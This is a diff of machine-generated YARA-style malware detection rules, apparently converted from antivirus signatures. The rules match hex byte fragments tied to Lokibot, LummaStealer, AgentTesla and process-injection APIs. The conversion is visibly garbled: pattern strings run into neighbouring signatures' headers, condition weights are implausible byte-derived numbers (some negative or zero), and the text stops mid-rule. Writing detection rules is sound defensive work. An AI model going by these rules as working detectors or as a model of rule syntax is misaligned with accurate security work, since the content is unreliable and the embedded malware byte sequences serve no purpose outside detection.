"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -126646,7 +135047,7 @@ rule _InfrastructureShared_11496{ ((#a_46_0 & 1)*16675+(#a_89_2 & 1)*20549) >=4 } -rule _InfrastructureShared_11497{ +rule _InfrastructureShared_12247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -126659,7 +135060,7 @@ rule _InfrastructureShared_11497{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_4c_2 & 1)*21325+(#a_cf_3 & 1)*2560) >=4 } -rule _InfrastructureShared_11498{ +rule _InfrastructureShared_12248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -126671,7 +135072,7 @@ rule _InfrastructureShared_11498{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*12810+(#a_2f_3 & 1)*28788) >=4 } -rule _InfrastructureShared_11499{ +rule _InfrastructureShared_12249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -126681,7 +135082,7 @@ rule _InfrastructureShared_11499{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_11500{ +rule _InfrastructureShared_12250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -126694,7 +135095,7 @@ rule _InfrastructureShared_11500{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28257+(#a_32_2 & 1)*20808+(#a_64_3 & 1)*29298) >=4 } -rule _InfrastructureShared_11501{ +rule _InfrastructureShared_12251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -126707,7 +135108,7 @@ rule _InfrastructureShared_11501{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24948+(#a_6f_2 & 1)*24937+(#a_00_3 & 1)*25964) >=4 } -rule _InfrastructureShared_11502{ +rule _InfrastructureShared_12252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -126720,7 +135121,7 @@ rule _InfrastructureShared_11502{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25964+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_11503{ +rule _InfrastructureShared_12253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -126733,7 +135134,7 @@ rule _InfrastructureShared_11503{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*27745+(#a_6d_2 & 1)*385+(#a_21_3 & 1)*12849) >=4 } -rule _InfrastructureShared_11504{ +rule _InfrastructureShared_12254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -126746,7 +135147,7 @@ rule _InfrastructureShared_11504{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28260+(#a_79_2 & 1)*385+(#a_a6_3 & 1)*0) >=4 } -rule _InfrastructureShared_11505{ +rule _InfrastructureShared_12255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -126759,7 +135160,7 @@ rule _InfrastructureShared_11505{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*26478+(#a_20_2 & 1)*27746+(#a_61_3 & 1)*28524) >=4 } -rule _InfrastructureShared_11506{ +rule _InfrastructureShared_12256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -126772,7 +135173,7 @@ rule _InfrastructureShared_11506{ ((#a_46_0 & 1)*21283+(#a_2e_1 & 1)*11808+(#a_73_2 & 1)*28704+(#a_39_3 & 1)*13620) >=4 } -rule _InfrastructureShared_11507{ +rule _InfrastructureShared_12257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -126785,32 +135186,44 @@ rule _InfrastructureShared_11507{ ((#a_4c_0 & 1)*21539+(#a_38_1 & 1)*11590+(#a_67_2 & 1)*20993+(#a_01_3 & 1)*-256) >=4 } -rule _InfrastructureShared_11508{ +rule _InfrastructureShared_12258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_4c_0 = {57 69 6e 36 34 2f 48 65 61 70 63 72 65 7a 2e 44 21 4d 54 42 00 01 00 1a 03 48 89 85 78 ff ff ff 48 c7 45 f8 00 00 00 00 48 8d 90 01 05 48 89 c1 e8 90 00 01 00 1d 03 48 8b 00 8b 15 90 01 04 41 89 d0 ba 00 00 } //21539 $a_ff_1 = {1f 00 ff 90 01 01 48 89 90 00 01 00 2e 03 4c 8b 10 48 8b 90 01 05 48 8b 90 01 05 c7 44 24 20 40 00 00 00 41 b9 00 10 00 00 49 89 d0 ba 00 00 00 00 48 89 c1 41 90 01 02 48 89 90 00 01 00 0e 03 49 89 d0 48 8d 90 01 05 48 89 c1 e8 90 00 00 00 78 a6 00 00 05 00 05 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 6f 6b 69 62 6f 74 2e 53 47 43 21 4d 54 42 00 03 00 2c 02 8a 00 88 45 90 01 01 8a 45 90 1b 00 34 90 01 01 8b 55 90 01 01 03 55 90 01 01 88 02 90 0a 25 00 8b 45 90 1b 03 03 45 90 1b 04 90 00 01 00 33 02 83 f8 07 75 90 01 01 } //0 - $a_90_2 = {01 90 01 03 25 00 ff 00 00 3d 00 0d 00 00 74 90 01 01 3d 00 04 00 00 75 90 0a 37 00 6a 00 e8 90 01 01 90 1b 02 90 00 01 00 0f 00 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 00 00 78 a6 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 50 43 52 65 76 69 76 65 72 2e 50 21 4d 54 42 00 02 00 3b 02 5c 50 72 6f 6a 65 63 74 73 5c 50 43 52 65 76 69 76 65 72 5f 77 69 74 68 5f 74 65 73 74 73 5c 74 72 75 6e 6b 5c 63 78 78 5c 62 69 6e 5c 90 02 03 5c 52 65 6c 65 61 73 65 5c 90 00 01 00 0e 00 43 72 79 70 74 47 65 6e 52 61 6e 64 6f 6d 01 00 14 00 46 69 6c 65 54 69 6d 65 54 6f 53 79 73 74 65 6d 54 69 6d 65 01 00 11 00 52 65 61 64 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 00 78 a6 } //362 - $a_00_3 = {05 00 05 00 21 } //0 + $a_90_2 = {01 90 01 03 25 00 ff 00 00 3d 00 0d 00 00 74 90 01 01 3d 00 04 00 00 75 90 0a 37 00 6a 00 e8 90 01 01 90 1b 02 90 00 01 00 0f 00 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 00 00 78 a6 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 41 48 42 21 4d 54 42 00 02 00 21 01 8b 44 24 04 8b 4c 24 08 89 ca 21 c2 01 c8 29 d0 89 d1 01 c9 f7 d1 01 d1 31 c1 f7 d1 21 c1 89 0c 24 02 00 25 01 89 4c 24 08 0f b6 44 24 10 89 44 24 04 8b 44 24 04 8b 4c 24 08 89 c2 09 ca 21 c8 f7 d0 21 c2 89 14 24 8b 04 24 03 00 24 01 8b 46 58 8b 40 48 89 44 24 04 0f b6 06 69 c8 cd 00 00 00 c1 e9 0a 83 e1 fe 8d 0c 89 28 c8 0f b6 c0 0f b6 80 00 00 78 a6 } //362 + $a_00_3 = {05 00 04 00 21 } //0 condition: ((#a_4c_0 & 1)*21539+(#a_ff_1 & 1)*0+(#a_90_2 & 1)*362+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_11509{ +rule _InfrastructureShared_12259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 6f 6b 69 62 6f 74 2e 53 47 43 21 4d 54 42 00 03 00 2c 02 8a 00 88 45 90 01 01 8a 45 90 1b 00 34 90 01 01 8b 55 90 01 01 03 55 90 01 01 88 02 90 0a 25 00 8b 45 90 1b 03 03 45 90 1b 04 90 00 01 00 33 02 83 } //18467 - $a_90_1 = {01 6a 01 e8 90 01 01 90 01 03 25 00 ff 00 00 3d 00 0d 00 00 74 90 01 01 3d 00 04 00 00 75 90 0a 37 00 6a 00 e8 90 01 01 90 1b 02 90 00 01 00 0f 00 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 00 00 78 a6 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 50 43 52 65 76 69 76 65 72 2e 50 21 4d 54 42 00 02 00 3b 02 5c 50 72 6f 6a } //2040 - $a_73_2 = {50 43 52 65 76 69 76 65 72 5f 77 69 74 68 5f 74 65 73 74 73 5c 74 72 75 6e 6b 5c 63 78 78 5c 62 69 6e 5c 90 02 03 5c 52 65 6c 65 61 73 65 5c 90 00 01 00 0e 00 43 72 79 70 74 47 65 6e 52 61 6e 64 6f 6d 01 00 14 00 46 69 6c 65 54 69 6d 65 54 6f 53 79 73 74 65 6d 54 69 6d 65 01 00 11 00 52 65 61 64 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 00 78 a6 } //25445 + $a_90_1 = {01 6a 01 e8 90 01 01 90 01 03 25 00 ff 00 00 3d 00 0d 00 00 74 90 01 01 3d 00 04 00 00 75 90 0a 37 00 6a 00 e8 90 01 01 90 1b 02 90 00 01 00 0f 00 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 00 00 78 a6 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 41 48 42 21 4d 54 42 00 02 } //2040 + $a_8b_2 = {24 } //8448 $ condition: - ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*2040+(#a_73_2 & 1)*25445) >=5 + ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*2040+(#a_8b_2 & 1)*8448) >=5 } -rule _InfrastructureShared_11510{ +rule _InfrastructureShared_12260{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 41 48 42 21 4d 54 42 00 02 00 21 01 8b 44 24 04 8b 4c 24 08 89 ca 21 c2 01 c8 29 d0 89 d1 01 c9 f7 d1 01 d1 31 c1 f7 d1 21 c1 89 } //21539 + $a_00_1 = {25 01 } //9228 ĥ + $a_08_2 = {0f b6 44 24 10 89 44 24 04 8b 44 24 04 8b 4c 24 08 89 c2 09 ca 21 c8 f7 d0 21 c2 89 14 24 8b 04 24 03 00 24 } //19593 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*9228+(#a_08_2 & 1)*19593) >=5 + +} +rule _InfrastructureShared_12261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -126823,7 +135236,7 @@ rule _InfrastructureShared_11510{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*770+(#a_6e_2 & 1)*27247+(#a_65_3 & 1)*385) >=5 } -rule _InfrastructureShared_11511{ +rule _InfrastructureShared_12262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -126837,7 +135250,7 @@ rule _InfrastructureShared_11511{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29268+(#a_61_2 & 1)*27765+(#a_20_3 & 1)*25966+(#a_2e_4 & 1)*28526) >=5 } -rule _InfrastructureShared_11512{ +rule _InfrastructureShared_12263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -126851,7 +135264,7 @@ rule _InfrastructureShared_11512{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*385+(#a_79_2 & 1)*29697+(#a_00_3 & 1)*29545+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_11513{ +rule _InfrastructureShared_12264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -126865,7 +135278,7 @@ rule _InfrastructureShared_11513{ ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*11891+(#a_33_2 & 1)*12629+(#a_20_3 & 1)*25964+(#a_64_4 & 1)*28524) >=5 } -rule _InfrastructureShared_11514{ +rule _InfrastructureShared_12265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -126879,7 +135292,7 @@ rule _InfrastructureShared_11514{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*26996+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_11515{ +rule _InfrastructureShared_12266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -126892,7 +135305,7 @@ rule _InfrastructureShared_11515{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25966+(#a_61_2 & 1)*26369+(#a_00_4 & 1)*0) >=5 } -rule _InfrastructureShared_11516{ +rule _InfrastructureShared_12267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -126906,7 +135319,7 @@ rule _InfrastructureShared_11516{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*24946+(#a_6f_2 & 1)*385+(#a_50_3 & 1)*11876+(#a_6f_4 & 1)*28279) >=5 } -rule _InfrastructureShared_11517{ +rule _InfrastructureShared_12268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -126920,7 +135333,7 @@ rule _InfrastructureShared_11517{ ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*25976+(#a_63_2 & 1)*384+(#a_00_3 & 1)*5+(#a_69_4 & 1)*19796) >=5 } -rule _InfrastructureShared_11518{ +rule _InfrastructureShared_12269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -126930,14 +135343,14 @@ rule _InfrastructureShared_11518{ $a_46_2 = {41 21 4d 54 42 00 04 00 4f 03 0a 06 18 6f 90 01 01 00 00 0a 06 18 6f 90 01 01 00 00 0a 06 6f 90 01 01 00 00 0a 13 04 02 28 90 01 01 00 00 0a 13 05 11 04 11 05 16 11 05 8e 69 6f 90 01 01 00 00 0a } //11887 $a_90_3 = {01 00 00 0a 11 06 6f 90 01 01 00 00 0a 13 07 dd 0d 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 } //1555 $a_43_4 = {65 } //3840 e - $a_44_5 = {63 72 79 70 74 6f 72 00 00 78 a6 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 34 33 21 4d 54 42 00 01 00 18 03 16 0a 20 00 90 01 01 00 00 8d 90 01 04 0b 28 90 01 04 0c 16 0d 2b 90 00 01 00 07 81 01 54 6f 57 69 6e 33 32 } //29793 - $a_81_6 = {73 66 69 6f 71 77 00 } //1 - $a_81_7 = {52 65 73 6f 75 72 63 65 54 65 6d 70 6c 61 74 65 44 65 66 69 6e 65 } //1 ResourceTemplateDefine + $a_44_5 = {63 72 79 70 74 6f 72 00 00 78 a6 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 50 50 31 36 00 01 00 07 80 01 4a 43 46 2e 65 78 65 01 00 0f 80 01 67 65 74 5f 53 65 63 4f 66 66 65 72 44 65 63 01 00 10 80 01 67 65 } //29793 + $a_65_6 = {4f 66 66 43 6c 6f 73 65 64 01 00 10 80 01 67 65 74 5f 53 65 63 4f 66 66 65 72 41 70 70 72 01 00 0e 80 01 61 64 64 5f 4d 65 64 69 61 45 6e 64 65 64 01 00 11 80 01 73 65 74 5f 68 61 73 50 6f 70 55 70 53 68 6f 77 6e 00 00 78 a6 00 00 06 00 06 00 06 00 } //24436 + $a_53_7 = {52 3a 4d 53 49 4c 2f 53 75 73 70 44 4c 4c 45 78 70 6f 72 74 73 2e 41 00 01 00 14 01 00 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 00 01 00 0f 01 00 43 72 65 61 74 65 50 72 6f 63 65 73 73 00 01 00 10 01 00 } //8993 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28751+(#a_46_2 & 1)*11887+(#a_90_3 & 1)*1555+(#a_43_4 & 1)*3840+(#a_44_5 & 1)*29793+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=5 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28751+(#a_46_2 & 1)*11887+(#a_90_3 & 1)*1555+(#a_43_4 & 1)*3840+(#a_44_5 & 1)*29793+(#a_65_6 & 1)*24436+(#a_53_7 & 1)*8993) >=5 } -rule _InfrastructureShared_11519{ +rule _InfrastructureShared_12270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -126949,7 +135362,36 @@ rule _InfrastructureShared_11519{ ((#a_4c_0 & 1)*21539+(#a_05_1 & 1)*2560+(#a_00_2 & 1)*400) >=6 } -rule _InfrastructureShared_11520{ +rule _InfrastructureShared_12271{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_46_0 = {42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 50 50 31 36 00 01 00 07 80 01 4a 43 46 2e 65 78 65 01 00 0f 80 01 67 65 74 5f 53 65 63 4f 66 66 65 72 44 65 63 01 00 10 80 01 67 65 } //16675 + $a_65_1 = {4f 66 66 43 6c 6f 73 65 64 01 00 10 80 01 67 65 74 5f 53 65 63 4f 66 66 65 72 41 70 70 72 01 00 0e 80 01 61 64 64 5f 4d 65 64 69 61 45 6e 64 65 64 01 00 11 80 01 73 65 74 5f 68 61 73 50 6f 70 55 70 53 68 6f 77 6e 00 00 78 a6 00 00 06 00 06 00 06 00 } //24436 + $a_53_2 = {52 3a 4d 53 49 4c 2f 53 75 73 70 44 4c 4c 45 78 70 6f 72 74 73 2e 41 00 01 00 14 01 00 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 00 01 00 0f 01 00 43 72 65 61 74 65 50 72 6f 63 65 73 73 00 01 00 10 01 00 } //8993 + $a_74_3 = {61 6c 41 6c 6c 6f 63 45 78 00 01 00 14 01 00 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 01 00 15 01 00 57 61 69 74 46 6f 72 53 69 6e 67 6c 65 4f 62 6a 65 63 74 00 01 00 0d 01 00 43 6c 6f 73 65 48 61 6e 64 6c 65 00 00 00 78 a6 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 } //26966 + $a_2e_4 = {4d 4d 57 30 34 33 21 4d 54 42 00 01 00 18 03 16 0a 20 00 90 01 01 00 00 8d 90 01 04 0b 28 90 01 04 0c 16 0d 2b 90 00 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 07 81 01 73 66 69 6f 71 77 00 01 00 16 81 01 52 65 73 6f 75 72 63 65 54 65 6d 70 6c 61 74 65 44 65 66 69 6e 65 01 00 13 81 01 75 68 } //27763 + $a_69_5 = {6a 68 6e 69 6e 68 6a 69 6b 69 75 68 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 a6 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 32 34 31 21 4d 54 42 00 01 00 25 81 01 24 32 38 34 32 34 65 66 66 2d 65 38 33 30 2d 34 62 62 35 2d 61 62 } //30050 + condition: + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24436+(#a_53_2 & 1)*8993+(#a_74_3 & 1)*26966+(#a_2e_4 & 1)*27763+(#a_69_5 & 1)*30050) >=6 + +} +rule _InfrastructureShared_12272{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 53 75 73 70 44 4c 4c 45 78 70 6f 72 74 73 2e 41 00 01 00 14 01 00 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 00 01 00 0f 01 00 43 72 65 61 74 65 50 72 6f 63 65 73 73 00 01 00 10 01 00 56 69 72 74 75 61 6c 41 6c 6c 6f 63 } //18467 + $a_00_2 = {57 } //5120 W + $a_65_3 = {72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 01 00 15 01 00 57 61 69 74 46 6f 72 53 69 6e 67 6c 65 4f 62 6a 65 63 74 00 01 00 0d 01 00 43 6c 6f 73 65 48 61 6e 64 6c 65 00 00 00 78 a6 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 34 33 21 4d 54 42 00 01 00 18 03 16 0a 20 } //26994 + $a_01_4 = {00 } //-28672 + $a_01_5 = {04 0b 28 90 01 04 0c 16 0d 2b 90 00 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 07 81 01 73 66 69 6f 71 77 00 01 00 16 81 01 52 65 73 6f 75 72 63 65 54 65 6d 70 6c 61 74 65 44 65 66 69 6e 65 01 00 13 81 01 75 68 62 75 6a 69 75 6a 68 6e 69 6e 68 6a 69 6b 69 75 68 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 a6 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d } //-29440 + condition: + ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*5120+(#a_65_3 & 1)*26994+(#a_01_4 & 1)*-28672+(#a_01_5 & 1)*-29440) >=6 + +} +rule _InfrastructureShared_12273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -126964,7 +135406,7 @@ rule _InfrastructureShared_11520{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*28521+(#a_42_2 & 1)*19745+(#a_72_3 & 1)*26414+(#a_6a_4 & 1)*29268+(#a_6e_5 & 1)*24910) >=6 } -rule _InfrastructureShared_11521{ +rule _InfrastructureShared_12274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -126979,7 +135421,7 @@ rule _InfrastructureShared_11521{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28500+(#a_57_2 & 1)*28257+(#a_74_3 & 1)*29285+(#a_6a_4 & 1)*29268+(#a_70_5 & 1)*11641) >=6 } -rule _InfrastructureShared_11522{ +rule _InfrastructureShared_12275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -126994,7 +135436,7 @@ rule _InfrastructureShared_11522{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29779+(#a_28_2 & 1)*5639+(#a_73_3 & 1)*16741+(#a_6f_4 & 1)*29797+(#a_17_5 & 1)*769) >=6 } -rule _InfrastructureShared_11523{ +rule _InfrastructureShared_12276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " @@ -127005,7 +135447,7 @@ rule _InfrastructureShared_11523{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*-28532) >=7 } -rule _InfrastructureShared_11524{ +rule _InfrastructureShared_12277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " @@ -127018,7 +135460,7 @@ rule _InfrastructureShared_11524{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*27136+(#a_52_3 & 1)*3840+(#a_70_4 & 1)*28483) >=7 } -rule _InfrastructureShared_11525{ +rule _InfrastructureShared_12278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -127031,7 +135473,7 @@ rule _InfrastructureShared_11525{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*31090+(#a_00_2 & 1)*26724+(#a_63_3 & 1)*29472) >=8 } -rule _InfrastructureShared_11526{ +rule _InfrastructureShared_12279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -127046,7 +135488,7 @@ rule _InfrastructureShared_11526{ ((#a_63_0 & 1)*18467+(#a_74_1 & 1)*25962+(#a_00_2 & 1)*66+(#a_61_3 & 1)*385+(#a_01_4 & 1)*25441+(#a_61_5 & 1)*29801) >=8 } -rule _InfrastructureShared_11527{ +rule _InfrastructureShared_12280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -127063,7 +135505,7 @@ rule _InfrastructureShared_11527{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*13172+(#a_49_2 & 1)*-32500+(#a_4d_3 & 1)*27503+(#a_32_4 & 1)*16982+(#a_2f_5 & 1)*18771+(#a_0c_6 & 1)*400+(#a_01_7 & 1)*10244) >=8 } -rule _InfrastructureShared_11528{ +rule _InfrastructureShared_12281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -127080,7 +135522,7 @@ rule _InfrastructureShared_11528{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*24386+(#a_65_4 & 1)*25972+(#a_04_5 & 1)*9628+(#a_90_6 & 1)*272+(#a_54_7 & 1)*8516+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1) >=10 } -rule _InfrastructureShared_11529{ +rule _InfrastructureShared_12282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -127092,7 +135534,7 @@ rule _InfrastructureShared_11529{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29191+(#a_90_2 & 1)*1798) >=12 } -rule _InfrastructureShared_11530{ +rule _InfrastructureShared_12283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -127105,7 +135547,7 @@ rule _InfrastructureShared_11530{ ((#a_54_0 & 1)*18467+(#a_d6_1 & 1)*1948+(#a_4e_2 & 1)*-32754+(#a_65_3 & 1)*24908) >=13 } -rule _InfrastructureShared_11531{ +rule _InfrastructureShared_12284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -127117,7 +135559,7 @@ rule _InfrastructureShared_11531{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*10267+(#a_49_2 & 1)*29797) >=14 } -rule _InfrastructureShared_11532{ +rule _InfrastructureShared_12285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 07 00 21 " @@ -127133,7 +135575,7 @@ rule _InfrastructureShared_11532{ ((#a_54_0 & 1)*18467+(#a_0a_1 & 1)*25445+(#a_00_2 & 1)*66+(#a_6f_3 & 1)*385+(#a_75_4 & 1)*25938+(#a_53_5 & 1)*4096+(#a_72_6 & 1)*27756) >=14 } -rule _InfrastructureShared_11533{ +rule _InfrastructureShared_12286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -127148,7 +135590,7 @@ rule _InfrastructureShared_11533{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*25711+(#a_21_2 & 1)*16709+(#a_74_3 & 1)*27759+(#a_00_4 & 1)*66+(#a_03_5 & 1)*-28632) >=15 } -rule _InfrastructureShared_11534{ +rule _InfrastructureShared_12287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 03 00 21 " @@ -127160,7 +135602,7 @@ rule _InfrastructureShared_11534{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*5+(#a_01_2 & 1)*2) >=17 } -rule _InfrastructureShared_11535{ +rule _InfrastructureShared_12288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -127174,7 +135616,7 @@ rule 